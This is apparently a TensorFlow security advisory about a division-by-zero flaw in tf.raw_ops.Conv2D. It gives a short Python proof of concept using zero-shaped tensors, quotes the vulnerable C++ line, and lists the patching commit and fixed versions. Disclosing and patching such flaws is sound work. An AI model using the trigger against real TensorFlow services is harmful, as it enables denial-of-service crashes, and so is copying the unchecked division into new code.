Division by 0 in `Conv2D`
Impact
An attacker can trigger a division by 0 in tf.raw_ops.Conv2D:
import tensorflow as tf
input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
strides = [1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.Conv2D(input=input, filter=filter, strides=strides, padding=padding)
This is because the implementation does a division by a quantity that is controlled by the caller:
const int64 patch_depth = filter.dim_size(2);
if (in_depth % patch_depth != 0) { ... }
Patches
We have patched the issue in GitHub commit b12aa1d44352de21d1a6faaf04172d8c2508b42b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
